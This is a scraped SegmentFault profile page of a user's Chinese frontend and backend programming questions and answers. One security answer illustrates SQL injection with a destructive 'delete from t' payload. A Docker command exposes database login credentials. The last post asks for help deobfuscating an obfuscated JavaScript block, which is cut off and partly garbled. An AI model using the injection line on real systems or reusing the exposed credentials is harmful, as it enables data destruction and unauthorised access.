Fiona
IP:
36关注数
1粉丝数
11获得的赞
工作年
编辑资料
链接我:

创作·53

全部
问答
动态
项目
学习
专栏
Fiona

怎么理解Observable中的流?

"RxMarbles -mergeMap" (https://link.segmentfault.com/?enc=ek0nAtXekGafUqjJ3ho4jA%3D%3D.Lr3QZUaUkPJ9PjgYbQMiu0yisv9ROXaJwVVgKcnY6nQ%3D) "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20250113/b94a425f5e8af164869992d29d309015.png) import { of, map, mergeMap } from "npm:rxjs@latest"; of("A", "B", "C") .pipe(mergeMap((x) => of(1, 2, 3).pipe(map((y) => `${x}${y}`)))) .subscribe(console.log); 将输出: A1 A2 A3 B1 B2 B3 C1 C2 C3 "of("A", "B", "C")" 将输出一个流 flowchart LR s((start)) n1[A] n2[B] n3[C] e((end)) s-->n1-->n2-->n3-->e «"mergeMap" 将源Observable发出的每个值“映射”到一个新的Observable上,并将这些新Observable发出的值“扁平化”地合并回一个单独的Observable中。» 当源发出值 A 时,"mergeMap" 将它映射为 flowchart LR s((start)) n1[A1] n2[A2] n3[A3] e((end)) s-->n1-->n2-->n3-->e 源的三个输出将被映射为三个 Observable,并被 "mergeMap" 扁平化为一个 Observable
0
0
0
浏览量0
Fiona

uniapp/vue中,如何截掉指定位置字符串,并按顺序以两个为单位放进数组?

"let str = 'aabbccddeeffgghhiijjkkllmm'" 第一步,假设我要截取掉前8位,结果应该为↓ "let str = 'eeffgghhiijjkkllmmf'" 第二步,需要将截取后的字符串,按顺序以两个为单位放进数组,到最后不足两位的话另外放就行↓ "let data = ['ee','ff','gg','hh','ii','jj','kk','ll','mm','f']" 小弟在这里先感谢各位大神们,感激不尽,祝大神们发财祝大神们取漂亮老婆
11
1
0
浏览量236
Fiona

ts2345怎么处理啊?

import { ElMessage } from 'element-plus' import type { MessageParams } from 'element-plus' let messagesObj = null function message({ msg, showClose = true, type = "info" }) { if (messagesObj) return; if (typeof msg !== "object") { messagesObj = ElMessage({ showClose, message: msg, type, onClose() { messagesObj = null; }, } as MessageParams); } }
0
0
0
浏览量0
Fiona

Vite创建的vue3项目中使用tailwindcss,为什么tailwin.config.js文件中能够同时使用CommonJs和Es6的模块语法?

从 TailwindCSS v3.3 起,tailwindcss 配置文件支持 ESM 和 TS,参考 "https://tailwindcss.com/blog/tailwindcss-v3-3#esm-and-type-sc..." (https://link.segmentfault.com/?enc=qmzj8%2B50cJ7KWGNgXX2oUA%3D%3D.XCjFEX0PHOQtSnEvyVaI%2Bt3fEqjb99mFteHOPgzntcwgMT40s9V%2B9jTgmEX16T8LH5PXjwC%2BKpdUqSyeMSDLXmZ6h2c9dkvev%2FhUMcAdbRo%3D) 关于原因,上面的博客提到 tailwindcss 为了支持配置文件使用 ESM 和 TS ,内部使用了 sucrase 库和 jiti 库来做转义
0
0
0
浏览量0
Fiona

列表数据频繁闪烁?

数据只在实际变了的时候再改: const onMessage = async (event) => { const data = JSON.parse(event.data); if (data.data == undefined) { console.log('未响应'); return; } const targetingTypes = { 0x10: 'RTK', 0x11: 'UWB', 0x12: '融合' }; const existingDataIndex = TagInfoData.value.findIndex(item => item.uid === data.data.uid); let existingData; if (existingDataIndex !== -1) { existingData = TagInfoData.value[existingDataIndex]; } else { existingData = { uid: data.data.uid, angle: 0, height: 0, confi: 0, longitude: 0, latitude: 0, speed: 0, state: 0, frequency: 0 }; TagInfoData.value.push(existingData); } if (data.data.state !== undefined) { existingData.frequency = data.data.frequency; existingData.state = data.data.state; } else { existingData.TargetingType = targetingTypes[data.data.type]; existingData.angle = data.data.angle; existingData.height = data.data.height; existingData.confi = data.data.confi; existingData.longitude = data.data.longitude; existingData.latitude = data.data.latitude; existingData.speed = data.data.speed; existingData.frequency = frequencyData.value; } };
0
0
0
浏览量0
Fiona

关于puppeteer的方法$$eval里用不了nanoid生成的id?

大佬们,我使用puppeteer里的方法**$$eval** 去爬一下页面的数据,结果发现引入的nanoid不能使用,刚开始还以为是nanoid不支持commonJS写法导致的,结果调试发现在eval函数外使用可以打印成功,eval里使用就报错了 注意:$$eval返回一个promise async callback(pg) { console.log(nanoid());//这里能打印出来 const imgList = await pg.$$eval('div.swiper-wrapper>div.swiper-slide>div>img', els => els.map((el, index) => { return { imgUrl: el.src, alt: '图片', id: index, imgKey:nanoid()//这里不能使用nanoid } })) || [] return imgList } 报的错误: node:internal/process/promises:279 triggerUncaughtException(err, true /* fromPromise */); ^ Error [ReferenceError]: nanoid is not defined pptr:$$eval;Object.callback%20(D%3A%5C%E9%A1%B9%E7%9B%AE%5C%E7%88%AC%E8%99%AB%E7%B3%BB%E7%BB%9F%5Ccrawler%5Ccrawlers%5Cslider.js%3A8%3A34):6:24 at $$eval ($$eval at Object.callback (D:\项目\爬虫系统\crawler\crawlers\slider.js:8:34), :5:23) at $$eval ($$eval at Object.callback (D:\项目\爬虫系统\crawler\crawlers\slider.js:8:34), :0:12) at ExecutionContext.#evaluate (D:\项目\爬虫系统\crawler\node_modules\puppeteer-core\lib\cjs\puppeteer\common\ExecutionContext.js:254:55) at async ExecutionContext.evaluate (D:\项目\爬虫系统\crawler\node_modules\puppeteer-core\lib\cjs\puppeteer\common\ExecutionContext.js:151:16) at async CDPJSHandle.evaluate (D:\项目\爬虫系统\crawler\node_modules\puppeteer-core\lib\cjs\puppeteer\common\JSHandle.js:48:16) at async Promise.all (index 0) at async CDPElementHandle.$$eval (D:\项目\爬虫系统\crawler\node_modules\puppeteer-core\lib\cjs\puppeteer\api\ElementHandle.js:227:26) at async Object.callback (D:\项目\爬虫系统\crawler\crawlers\slider.js:8:25) at async module.exports (D:\项目\爬虫系统\crawler\libs\crawler.js:10:18) 有大佬知道为什么吗
12
1
0
浏览量262
Fiona

用element ui怎么控制下列表格单选框,只能单选一个?

el-checkbox 就不对啊,你单选不应该是 el-radio 嘛? 当然checkbox 也行,你需要把选中的 key 存起来,也就是 "prop="icon_1"",checked 的时候之类判断是否等于 key 即可
0
0
0
浏览量0
Fiona

请问没有源代码跟API,如何排程自动化系统?

1. 逆向你手头的东西,看逆向水平决定完成需求时间,最终出来的执行效果好,执行效率高 2. 用虚拟机,跑个按键精灵之类的脚本模拟对那个软件的点击,完成需求快,看写脚本水平决定最终执行效果
0
0
0
浏览量0
Fiona

ionic的组件标签在vscode上爆红?

"image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241224/4cc7761705fc29344b861ebbebfc6c92.png) 新手上路,穿件一个新的ionic的项目,没有做啥处理,可以打开项目,但是一直爆红看着很不舒服 想询问下大佬们如何处理 在线等 "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241224/551f2123d29b043f1b3784e673e14f71.png) 图二是我的插件
11
1
0
浏览量332
Fiona

集群怎么保证脚本线程唯一,用户怎么知道脚本线程运行状态?

有一个出库的任务,有多个用户,只要一个用户的出库参数是true,这个任务就要一直执行 目前有两台后端服务器做负载均衡,为了保证任务唯一,用redis做状态控制,用一个key来表示任务的运行状态,任务在用户前端点击启动的时候通过判断对应key的状态来选择是否要新启一个线程执行任务。 现在有问题,有时候出错误了会直接将这个线程中断掉,这时候只能把所有用户的参数设置为关闭再打开,才可以重新执行,除了现在的redis怎么设计可以让用户知道这个线程现在是运行,还是停止的状态 一个脚本任务 两台服务器 用户前端点击按钮开启/关闭脚本任务——只要一个用户是开启的,脚本任务就不停止。全部关闭脚本任务关闭 redis做脚本任务状态控制 脚本任务目前是另起一个线程,然后死循环执行,当用户都关闭的时候跳出死循环 *** 你们是怎么设计的,这样设计好像问题很多,项目启动的时候怎么自动启动脚本任务并且保证集群中只有一个,怎么让用户知道当前脚本任务确实在执行 *** 之前的问题描述可能不太好理解 下面是脚本的大概逻辑 //启动一个新线程执行,要求只有在所有用户的设置都是关闭的状态下,这个线程才会结束 while(有用户打开设置){ //给打开设置的用户工位分配对应的数据 } graph TD A[用户打开设置] -->C{判断脚本是否已经运行,通过redis中存的状态判断} C -->|状态为true| D[脚本已在运行不做处理] C -->|状态为false| E[运行脚本] D -->F[结束] E -->F[结束] 问题: 1. 集群发布时,如何确保有用户打开设置的情况启动对应的脚本,并保证脚本再集群中唯一。 2. 有时候会出现不知道什么意外导致这个脚本线程挂掉了,如何在监听这个脚本的运行状态。
14
1
0
浏览量282
Fiona

jsx函数中怎么渲染组件?

应该是你的 Com 组件return了空标签,然后你下意识觉得渲染没对。
0
0
0
浏览量0
Fiona

antd--Tooltip三角星变成了方形,这是为什么?

没有找到AntDesign的 "8.4" 版本,用 "5.8.4" 的版本尝试复现了一下,没有复现OP提到的问题。 所以看起来传入值有问题?传入了一个 "4px" 进去了。所以计算的时候出现错误了。 "图片.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241217/abb08da02112a69c3355fb5d72c9cf89.png) 简单看了一下,"tooltip" 的组件源码,看起来是OP在配置主题的时候,错误的传入了一个 "sizePopupArrow" 进来(需求 "number" 类型),把 "4px" 改成 "4" 试试看? "ant-design/components/style/roundedArrow.ts at fc2b4af8cf830bb87c3b0a0114c60c90a6807279 · ant-design/ant-design" (https://link.segmentfault.com/?enc=xWmoSC6D2AcMiZTWVDwNVQ%3D%3D.J7%2BnT9YzEwKHO471s1pigU9UsgN2ezkD1QTELf8K4FEcqOq46%2Bv1WIJ7v6salMaWNszno0vFor0%2Fd41%2FD7D%2BxHZWYXMMwbOSyVyqEEeqcXhv%2F1IXTp7u4EarBe%2FMC4ZCUXM%2FOKLJ6qI7NuQu2SHUFk8qclx11U9PoREEXhl9vAM%3D)
0
0
0
浏览量0
Fiona

使用浏览器时,有时候会修改一些网址自带的页面,但是下次访问时又会回到原来的页面,求一个浏览器插件,能保持我当时修改过后的页面?

举个例子,这个原本的网页 "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241217/d2a83597925c9d46f419da3c5a1bfa66.png) 以下是修改过后的网页 "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241217/b6e098772ba386369c6f8c91c00368d3.png) 我是用浏览器自带的开发者工具,删除了这个页面中的 多余元素,我想要下次进入浏览器时保留这种修改,有哪个chrome浏览器插件可以实现?
0
1
0
浏览量16
Fiona

vue3中给页面设置name?

我的方法: export default { name: "test", } // ... 个人感受,setup语法糖有很严重的热更新bug,还不如老实的用 "export default"
0
0
0
浏览量0
Fiona

如何进行类型转换: 不能将类型“Moment[]”分配给类型“RangeValue”?

// webpack-config.js import AntdDayjsWebpackPlugin from 'antd-dayjs-webpack-plugin'; module.exports = { // ... plugins: [new AntdDayjsWebpackPlugin()], };
0
0
0
浏览量0
Fiona

恶意代码要如何预防?

我认为从四个方面可以做基本的安全性:视图交互、网络传输、后端和数据库。 1. 视图交互这块儿,很多人的第一课是法律,第二课就是不要信任任何视图层的操作。最常见的手段就是在提交到后端前进行数据合法性(或者说规范性)的校验。比如有一个手机号输入的表单,不可能一个1都能被提交,或者a之类的。根据当地的号码规则写合适的脚本可以在这一层筛掉很多恶意的东西。 2. 网络传输:这个东西是在传输的时候被抓包后篡改了数据导致的,要预防,最关键的一点是对数据进行加密,尽量不使用明文传输。 3. 后端:就和我提到的“不要信任任何视图层的操作”一样,这个道理对于后端来说,可以是不要信任任何其他端传来的数据。就比如上面的手机号,前端有校验后端一样要有。如果没有,那对于别有用心的人来说,是不是可以把前端校验绕过去提交数据呢? 4. 数据库:这个也是我见过的最多的问题的。生产环境用的是云服务器,然后数据库给的还是root权限。整个数据库层面的防护只有云服务器厂商+一道密码,这意味着一旦搞事的人拿到了数据库密码,比如程序本身通过jdbc连接数据库,一旦从逻辑层面进入到数据库,那就是一场灾难。就比如以前的sql注入select * from t where 1 = 1;delete from t;所以合适的用户权限也是很重要的。
0
0
0
浏览量0
Fiona

vue如何使用v-bind绑定多个值(多个值中有v指令v-if)?

首先 "v-if" 不是值绑定,所以不归 "v-bind" 管 我能想到的解决方案有两个 1. 在 Vue 模板编译前加入一层你自己的 transform 2. 写一个新指令,比如 "v-super-bind="{ 'v-if': 'awesome', '@click': () => {} }"",具体怎么实现最好,我还没想好,看看有没有大佬知道 PS 这个需求是挺有趣的,不过不建议在生产中使用
0
0
0
浏览量0
Fiona

echarts饼图设置标签的position为 inside 时,如何进一步调整标签位置?

当前效果:标签文字太靠近中心位置 "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241207/811a56bd496c3e12c0494e717c2aa679.png) 当前series配置如下 { type: "pie", radius: "67%", center: ["30%", "50%"], label: { show: true, position: "inside", formatter: "{d}%", color: "#fff", fontSize: 14, fontFamily: "D-DIN", distanceToLabelLine: 20, fontWeight: 400 }, labelLine: { show: false, }, data: [ { value: 1048, name: "转化医学" }, { value: 735, name: "病理科" }, { value: 580, name: "检验科" }, { value: 484, name: "肿瘤中心" }, { value: 300, name: "制剂科" }, { value: 400, name: "细胞中心" }, { value: 500, name: "血液科" }, { value: 600, name: "心研所" }, { value: 700, name: "呼吸科" }, { value: 800, name: "危重科" }, { value: 900, name: "抢救室" } ], itemStyle: { borderColor: "#fff", }, emphasis: { itemStyle: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: "rgba(0, 0, 0, 0.5)", }, }, }, } 期望实现的效果如下,标签文字虽然在扇区内部,但是更靠近边缘,不会互相遮挡 "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241207/247e77d7d754decdbae40e8c8ee5e47e.png)
0
1
0
浏览量14
Fiona

springboot redis获取的key为什么是乱码?

"image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241203/5bc5c955401deb5f79a5175f19a00fd1.png) "redisTemplate.keys()" 获取的值怎么是乱码 redisconfig public RedisTemplate redisTemplate(RedisConnectionFactory connectionFactory) { RedisTemplate template = new RedisTemplate(); template.setConnectionFactory(connectionFactory); FastJson2JsonRedisSerializer serializer = new FastJson2JsonRedisSerializer(Object.class); ObjectMapper mapper = new ObjectMapper(); mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); serializer.setObjectMapper(mapper); template.setValueSerializer(serializer); // 使用StringRedisSerializer来序列化和反序列化redis的key值 template.setKeySerializer(new StringRedisSerializer()); template.afterPropertiesSet(); return template; }
0
1
0
浏览量15
Fiona

统信UOS上 docker无法启动?

重新开一个干净的系统,然后 curl -fsSL get.docker.com -o get-docker.sh 再然后试试 sudo sh get-docker.sh «也可以是 "sudo sh get-docker.sh --mirror Aliyun"» 排除变量法,看看是通信本身安装 docker 就有问题,还是你的现有的系统状态导致的
0
0
0
浏览量0
Fiona

session 和 sessionStorage 是不是没有什么关联?

个人背景: 一个前端新人,在了解 session 和 cookie 的时候,联想到了前端常用的存储, sessionStorage 。 问题: 这两个东西有相关联的地方吗?还是只是名字相似,但是两个完全不同的概念?
0
1
0
浏览量12
Fiona

纵向展示的文字溢出如何通过 css 显示省略号?

可以用垂直排版解决 p { writing-mode: vertical-rl } "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241128/09d023a1bc5397a884d5a8de1c3c8d71.png) "https://codepen.io/xboxyan/pen/yLZaLQw" (https://codepen.io/xboxyan/pen/yLZaLQw)
0
0
0
浏览量0
Fiona

canvas使用跨域的图片时,image.crossOrigin = 'Anonymous',Tainted canvases may not be exported?

换下小写试试 image.setAttribute(‘crossorgin’,’anonymous’) 将image作为文件读取blob流,ctx.toBlob 试试 export function imageToFileByCanvas(image: HTMLImageElement, fileName: string = "image.jpg"): Promise { const canvas = document.createElement("canvas") canvas.width = image.width canvas.height = image.height const ctx = canvas.getContext("2d")! ctx.drawImage(image, 0, 0) return new Promise(resolve => canvas.toBlob(blob => resolve(new File([blob!], fileName)))) } async function getImage(){ const file = await imageToFileByCanvas(image, "image.jpg") const imgUrl = URL.createObjectURL(file) // image 内存地址 } export function imageToFileByBlob(image: HTMLImageElement, fileName: string = "image.jpg") { const binStr = atob(image.src.split(",")[1]) const len = binStr.length const arr = new Uint8Array(len) for (let i = 0; i < len; i++) { arr[i] = binStr.charCodeAt(i) } const blob = new Blob([arr], { type: "image/png" }) return new File([blob], fileName) } "stackoverflow" (https://link.segmentfault.com/?enc=kFtkQSkasHBMKuskptbbMg%3D%3D.R6llpqfI0vhSSR%2FNDd5nUCitYX2MAGg8PeXSAzGLkJm7pvs2VA5%2BsbGT6qCa%2B%2B%2FCd8DfZwRpj7NcUelaTo2jtjlO0yB2jm5NKMH5lHYZJNdz0Uu6xn8cYKQ6KJq55gs2)
0
0
0
浏览量0
Fiona

wangEditor 异步SelectMenu ?

"image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/images/20241119/5ea68d303267cff784648a483b16ffe1.png) 请问一下v4版本的wangEditor,SelectMenu 里面的options列表是后端返回来的,这时候该怎么设置?
0
1
0
浏览量17
Fiona

下载服务器选择哪种服务好?

主要提供一些 5 ~ 100 MB 的软件下载服务,主要考虑价钱,其次是速度,目前想到的是使用网盘或者是对象存储,如果是网盘什么网盘比较好,如果是对象存储哪个比较好?
0
1
0
浏览量12
Fiona

vue3项目打包上传hostinger跨域失败?

vue3项目我在本地成功配置了跨域进行axios请求成功,我需要对文件进行打包上传到hostinger地址中,hostinger项目跨域请求失败,出现问题405 希望可以解决
0
2
0
浏览量20
Fiona

ts 属性类型如何关联?

type AddDataOtherType = { component: T; // 组件名称 transition?: 'fade-in-linear' | 'fade-in' | 'zoom-in-center' | 'zoom-in-top' | 'zoom-in-bottom'; // 组件的显隐动画 }; export type AddDataType = (RequiredKeys > extends true ? { data: DataType } : { data?: DataType }) & AddDataOtherType; const data: AddDataType = { component: 'AlarmTips' }; const data1: AddDataType = { component: 'AlarmTips' }; "image.png" (https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241102/697c209a00cc278f8e9abe325f2d0d7e.png) 为什么需要这样"AddDataType" 才能正确获取类型? 不是已经使用 ""进行关联了吗? 应该可以通过"component: T;"的类型得到"AddDataType"接收类型的啊。 *** 测试用例补充: type DataOtherType = { component: T; // 组件名称 }; type TL = '1' | '2'; type DataType1 = DataOtherType & (T extends '1' ? { data?: 1 } : { data: 1 }); const data2: DataType1 = { component: '1' }; const data3: DataType1 = { component: '2' }; const data4: DataType1 = { component: '2' };
0
1
0
浏览量11
Fiona

freecodecamp中的创建一个人员对象?

https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241028/a2dc6d9684bdf251bf4bfd0dc47e8806.png 该如何修改代码 const Person = function(first, last) { var first = first; var last = last; this.getFullName = function(str) { return str; }; this.getFirstName = function() { return first.split(' ')[0]; }; this.getLastName = function() { return last.split(' ')[1]; }; this.setFirstName = function(str) { first = `${str} ${first.split(' ')[1]}` }; this.setLastName = function(str) { last = `${last.split(' ')[0]} ${str}` }; this.setFullName = function(str) { return str; }; }; 修改正确
0
1
0
浏览量7
Fiona

为什么three.js地图在部署后不显示?

vue项目打包部署之后本地json为什么访问不到? 使用three.js画了个中国地图,本人小白也是看大佬源码改的代码。 // 加载地图数据 loadMapData(str) { // https://datav.aliyun.com/portal/school/atlas/area_selector this.resetInitMap() const loader = new THREE.FileLoader() // require(`@/views/screen/mapMain/json/china.json`) // /static/json/${str || 'china'}.json loader.load(`/static/json/${str || 'china'}.json`, (data) => { const jsondata = JSON.parse(data) this.addMapGeometry(jsondata) }) }, 界面展示是正常的 https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241027/ef297501d99586f92a4827f8d490be7d.png 但是发布之后就直接不展示地图,中间区域是没有地图元素的,并且颜色展示不正常 颜色不正常是我的另一个问题, "https://segmentfault.com/q/1010000044485869" (https://segmentfault.com/q/1010000044485869) https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241027/2e1840e8a794a35df765a6e280d2b7a6.png 打包之后dist文件下面是有 正常的json文件的 https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241027/0dec3821dd61b72d654ae85b17a8ddc3.png config配置 因为是服务器下多个前端 所以我的大屏加载了一节publicPath: "/intelligence/", 路由 https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241027/6d572aa79c2a01549c324d1edec5be0e.png 使用 require("@/views/screen/mapMain/json/china.json") 加载文件时候回报错 https://wmlx-new-image.oss-cn-shanghai.aliyuncs.com/images/20241027/913837701eda4425ba93f181f1312773.png 我该如何修改这个地址才能让地图正常显示,
0
1
0
浏览量22
Fiona

NestJS中@Request()装饰器属性来源?

nestjs中@Request() request中属性的来源 看过请求中的响应头和请求头,没找到对应的属性 async login(@Request() request: any) { if (request?.user?.fail) { this.logProvider.login(request, false); throw new UnauthorizedException({ statusCode: 401, message: '用户名或密码错误!', }); } 这里request?.user我找不到对应的来源,按理来说这个应该属于项目开发者自行添加的,但是我查了整个项目都没找到对应的赋值操作 这是对应的开源项目地址:"https://github.com/Mereithhh/vanblog/blob/master/packages/server/src/controller/admin/auth/auth.controller.ts" (https://link.segmentfault.com/?enc=Adzp%2BtPjZxgGyQafgJ%2Bj5Q%3D%3D.3W7pkgFtOm6JbIfg2R5zSN2QB3WHq4CJvvOliUYtSRH4rujEoeNiTKJZmSmnIbdkP%2F4hBsphIUQz9YAeOWvFCvVOO38yy8dro5MZY2d37j9bF8h3DmrCza2%2FhbHDPxdR2iN6JQ%2B8RfkkULNyM4LV%2BA%3D%3D) 没提issue的原因是我不确定这个是不是有其他的原因 当然在开发群里提问过了,然后就是维护者好像也不是很活跃,所以寄希望于社区大佬了。
0
1
0
浏览量23
Fiona

在amh部署one-api项目后,one-api日志提示数据库链接不上?

在amh部署one-api项目后,one-api日志提示数据库链接不上。 docker run --privileged=true --name one-api -d --restart always --network="host" -p 3000:3000 -e SQL_DSN="orapi_user:XYFvLvMPn@tcp(127.0.0.1:3306)/orapi" -e TZ=Asia/Shanghai -v /home/wwwroot/lngx02/domain/orapi.com/web:/data justsong/one-api 之前使用宝塔面板使用这个命令部署以后就能正常使用。
0
1
0
浏览量21
Fiona

JavaScript 对一个数组进行长度赋值0引起的问题?

b的值是个number2,所以清不清A都跟他没关系了 跟直接写b=2一样的
0
0
0
浏览量0
Fiona

解决Nginx代理多个Node.js Express服务的问题,另一个为什么代理不了?

原因是location 中 proxy_pass 结尾带/接不带的区别,会导致路径不一致找不到。
0
0
0
浏览量0
Fiona

antd dark/light方案?

vben 实现了,我看 ant design vue 文档,修改组件的 prop 主色就可以,你安装的是 ant-design 的主题色插件吧 "https://github.dev/vbenjs/vue-vben-admin/blob/main/README.zh-..." (https://link.segmentfault.com/?enc=F2J%2F8otIHDt8veOwcS4wTg%3D%3D.QJypKAArTPZDyd6zmJ7jOIEvKEjdU5qF1Gi7KyAab%2BslIAN9P2p13vNAEvD1oCMUR31YBk2XtchsWvGtwaS2Cmd5BKw8WG7dsRsLKWLc6mw%3D)
0
0
0
浏览量0
Fiona

如何在Excel中创建自定义字段和层次的表格?

各位大佬走过路过,瞧一瞧,看一看 有没有这样的一个功能 页面一个空白的excel 可以自定义写字段 也可以写多层 确认后生成表格
0
1
0
浏览量10
Fiona

这种js代码要怎么解密呢?

请求各位大哥帮忙解密,祝大哥们发财娶漂亮老婆!! 完整版:【腾讯文档】 "https://docs.qq.com/doc/DV2FaZ0J4c1lzYUtB" (https://link.segmentfault.com/?enc=iYupnG%2Bewtt4jIwjc86nZw%3D%3D.yr0Rrf4X5T1qzn1NMCE%2FV5Anby6i0H7IhOTixsF2DYA1IsO%2BAde8BxuPTbT6SiLu) (function(_0x319d23,_0x253eaa){const _0x17f6bd=_0x319d23();function _0x5ef634(_0x4d9bcf,_0x332385,_0x131a87,_0xdb2988){return a18_0x4908(_0x4d9bcf-0x91,_0x131a87);}function _0x895b2e(_0x3007fb,_0x154e9c,_0x1b7f6c,_0x579308){return a18_0x4908(_0x154e9c- -0xe5,_0x3007fb);}while(!![]){try{const _0x3af67d=-parseInt(_0x895b2e(0x1cd,0x16b,0x11e,0x124))/(-0x1 -0x9d3+-0x17fc+0xe2a)(-parseInt(_0x895b2e(0x172,0x115,0xc9,0x142))/(0x4a 0xc+-0x2 -0x4f7+-0xd64))+parseInt(_0x5ef634(0x2ac,0x264,0x304,0x26a))/(-0x16b -0x13+-0x26c4 -0x1+-0x3 0x15e6)(parseInt(_0x895b2e(0xe1,0xe7,0x9a,0x8b))/(0x3 0xb6b+0x1 -0x15d+0x838 _-0x4))+-parseInt(_0x895b2e(0xe2,0x103,0xbe,0xcc))/(0x209c+-0x807+-0x1890)+parseInt(0x895b2e(0x142,0x174,0x146,0x14e))/(-0x6ca+0x27 -0x98+-0x448 -0x7)(parseInt(_0x5ef634(0x267,0x27d,0x215,0x275))/(0x13 -0xd7+0x7b7 0x3+-0x729))+parseInt(_0x5ef634(0x27d,0x27f,0x266,0x26d))/(-0x160e+0x20ee+-0xad8)+-parseInt(0x5ef634(0x317,0x2d2,0x2c2,0x2ef))/(-0x26f6+-0xd55+0x3454)(-parseInt(0x5ef634(0x298,0x261,0x271,0x23d))/(-0x9 -0x338+-0x970+-0x137e 0x1))+-parseInt(0x895b2e(0x141,0xf3,0xc3,0x103))/(0xc6a+0x487 0x4+-0x1e7b)(parseInt(0x895b2e(0x137,0x143,0xff,0xe0))/(-0xd08+0x1 0x11cb+-0x4b7));if(_0x3af67d===_0x253eaa)break;else _0x17f6bd"'push'" (_0x17f6bd[shift]());}catch(_0x1cf016){_0x17f6bd"'push'" (_0x17f6bd[shift]());}}}(a18_0x49b9,-0x1e6b4+-0xc32f _0x2+0x4fb96));const a18_0x2460c8=(function(){const _0x13dadf={};function _0x31e186(_0x499cce,_0x47a8de,_0x5c1ca9,_0x1994ca){return a18_0x4908(_0x47a8de-0x53,_0x499cce);}_0x13dadf[_0x31e186(0x22a,0x25e,0x23e,0x2a1)]=function(_0x333ed9,_0x5ebcb7){return _0x333ed9===_0x5ebcb7;},_0x13dadf[_0x32df2b(0x92,0x48,0xa8,0xce)]=_0x32df2b(0xe9,0xed,0xa7,0xa8),_0x13dadf[_0x31e186(0x249,0x2a4,0x296,0x27c)]=_0x32df2b(0x90,0x54,0x77,0x9b);const _0x602f95=_0x13dadf;let _0x10abf3=!![];function _0x32df2b(_0x2e5c4,_0x2d2e5d,_0x58aff2,_0x3ffd00){return a18_0x4908(_0x58aff2--0x1ad,_0x2d2e5d);}return function(_0x45e888,_0x30fb59){const _0x17314d={'CoRHp':function(_0x2f54f8,_0x14ff5e){return _0x602f95"'FMxuU'" (_0x2f54f8,_0x14ff5e);},'FqHhU':_0x602f95[_0xc4bf2b(0x5ed,0x60a,0x5db,0x5ea)],'lTTxB':_0x602f95[_0xc4bf2b(0x5c4,0x577,0x5d7,0x5a6)]};function _0x4064ed(_0x5e9017,_0xb5ee08,_0x5650cd,_0x4e49f0){return _0x31e186(_0x5650cd,_0x4e49f0-0x1df,_0x5650cd-0xd9,_0x4e49f0-0x10e);}function _0xc4bf2b(_0x3e4683,_0x1fe002,_0x51b301,_0x2caf38){return _0x32df2b(_0x3e4683-0x99,_0x3e4683,_0x51b301-0x533,_0x2caf38-0x1b4);}const _0xbc7746=_0x10abf3?function(){function _0x4d795b(_0xd58889,_0x558084,_0x13b614,_0x43884b){return _0x4064ed(_0xd58889-0xd,_0x558084-0x2e,_0x43884b,_0x558084- -0x546);}function _0x59cf73(_0x17db28,_0x27c64d,_0x38f968,_0x30f1ff){return _0x4064ed(_0x17db28-0x90,_0x27c64d-0x18a,_0x27c64d,_0x30f1ff-0x19c);}if(_0x17314d"'CoRHp'" (_0x17314d[_0x59cf73(0x5bb,0x672,0x637,0x618)],_0x17314d[_0x59cf73(0x5e6,0x5d5,0x5e0,0x5cd)])){const _0x536690=_0x25d3d9?function(){if(_0x1981c5){const _0x2ea441=_0x45e008"'apply'" (_0x13e0fd,arguments);return _0x1f0bbe=null,_0x2ea441;}}:function(){};return _0x198c0f=![],_0x536690;}else{if(_0x30fb59){const _0x4e0501=_0x30fb59"_0x59cf73(0x5d3,0x644,0x5da,0x5e8)" (_0x45e888,arguments);return _0x30fb59=null,_0x4e0501;}}}:function(){};return _0x10abf3=![],_0xbc7746;};}()),a18_0x171507=a18_0x2460c8(this,function(){function _0x16a80f(_0x4ab368,_0x58b40,_0x32f925,_0xe15e77){return a18_0x4908(_0x4ab368--0x3a,_0x32f925);}const _0xecf3b8={};function _0x2070b3(_0x47d7df,_0x14789e,_0x25c204,_0x4ca942){return a18_0x4908(_0x14789e-0x148,_0x25c204);}_0xecf3b8[_0x2070b3(0x345,0x332,0x35a,0x35a)]=_0x16a80f(0x1df,0x18a,0x195,0x1ad)+'+$';const _0x456b50=_0xecf3b8;return a18_0x171507"_0x16a80f(0x249,0x298,0x2ab,0x202)""_0x16a80f(0x1c7,0x1f4,0x167,0x219)" (_0x456b50[_0x16a80f(0x1b0,0x19f,0x1c8,0x164)])"_0x2070b3(0x40d,0x3cb,0x420,0x3da)""_0x2070b3(0x2e1,0x31c,0x373,0x323)+'r'" (a18_0x171507)"_0x2070b3(0x3a4,0x349,0x326,0x352)" (_0x456b50[_0x16a80f(0x1b0,0x179,0x163,0x169)]);});a18_0x171507();function a18_0x4908(_0x2d7798,_0x2fca66){const _0x3e5ecc=a18_0x49b9();return a18_0x4908=function(_0x869fae,_0xe7f788){_0x869fae=_0x869fae-(0x67a0x4+0x3-0x66f+-0x4d5);let _0x128471=_0x3e5ecc[_0x869fae];if(a18_0x4908['CupeGO']===undefined){var _0x31475a=function(_0x2d1571){const _0x453e9e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2b2082='',_0xeb9e23='',_0x3fe879=_0x2b2082+_0x31475a;for(let 